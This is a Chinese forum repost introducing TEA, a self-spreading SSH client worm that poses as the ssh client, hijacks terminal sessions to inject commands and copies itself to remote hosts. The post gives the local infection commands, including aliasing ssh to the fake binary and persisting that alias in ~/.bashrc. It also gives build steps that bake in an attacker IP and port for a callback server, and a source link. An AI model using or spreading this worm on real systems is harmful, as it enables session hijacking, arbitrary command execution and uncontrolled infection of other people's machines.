8wDlpd.png
8wDFp9.png
8wDEOx.png
8wDMfH.png
8wDKte.png
TEA:一款基于TAS框架的SSH客户端蠕虫
aiyun 2020-4-28

TEA是一款基于TAS框架的SSH客户端蠕虫,从本质上说,它是一个仿冒的SSH客户端,它能够修改tty输入/输出来实现任意命令执行,或通过SSH连接来上传自身以实现渗透感染。

为了实现该工具的正常功能,远程主机需要满足以下条件:

1、在登录时显示“Last login”信息;

2、dd和stty;

3、目标用户使用Bash作为默认Shell;

4、可运行fakessh代码;

5、~/.bashrc可写入;

感染本地主机:

 

mkdir ~/.sshworm

cp ssh ~/.sshworm

alias ssh='~/.sshworm/ssh'

 

我们首次执行fakessh时,并不会显示任何内容,工具会执行post-install.c中的代码,并将字符串alias ssh=”~/.sshworm/ssh”写入到~/.bashrc中:

 

$ ssh

$ ssh

usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]

[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]

[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]

[-i identity_file] [-J [user@]host[:port]] [-L address]

[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]

[-Q query_option] [-R address] [-S ctl_path] [-W host:port]

[-w local_tun[:remote_tun]] destination [command]

 

实现传播和感染

我们只需要连接到目标SSH服务器,并且服务器满足TEA运行条件的话,目标设备以及连接至目标设备的主机就可以成功被感染。

tty修改:

Fakessh执行之后,它将会等到字符串“Last login”来开启I/O修改(output-hooks.c),当接收到“Last login”之后,它将会发送一些任意指令(inject-cmd.c),然后等待命令执行的结果(output-hooks.c)。如果远程设备中不存在文件~/.sshworm/ssh的话,蠕虫将会上传自身(upload.c)。

卸载:

 

$ rm -rf ~/.sshworm

$ perl -i -pe 's;alias ssh="~/.sshworm/ssh";;g' ~/.bashrc

$ unalias ssh

 

编译

我建议大家使用musl-libc,或其他的libc,但我不建议大家使用glibc,因为使用glibc编译的代码会非常大。

获取源码:

$ git clone –recurse-submodules https://github.com/hc0d3r/tea

构建选项:

名称 介绍
IP 远程IPv4 连接
PORT 远程port 连接

样例:

$ make CC=musl-gcc IP=my-ipv4 PORT=1234

服务器

这里我们制作了一个简单的服务器来处理链接,当post-install.c的代码被执行之后,服务器将会接收到链接。服务器机制非常简单,当新链接建立成功之后,它将会执行一条新的命令并通过命令行传递链接文件描述符,这样才能保证执行的程序能够处理链接。

编译:

 

$ cd server

$ make

cc -Wall -Wextra -O3 -c net.c -o net.o

cc -Wall -Wextra -O3 -c replace.c -o replace.o

cc -Wall -Wextra -O3 -c term.c -o term.o

cc -Wall -Wextra -O3 -c main.c -o main.o

cc -Wall -Wextra -O3 -o server net.o replace.o term.o main.o

 

工具演示

项目地址

TEA:【GitHub传送门

* 参考来源:hc0d3r

转载至freebuf网站:freebuf

最新回复 (0)
    • Ai云
      2
        立即登录 立即注册
返回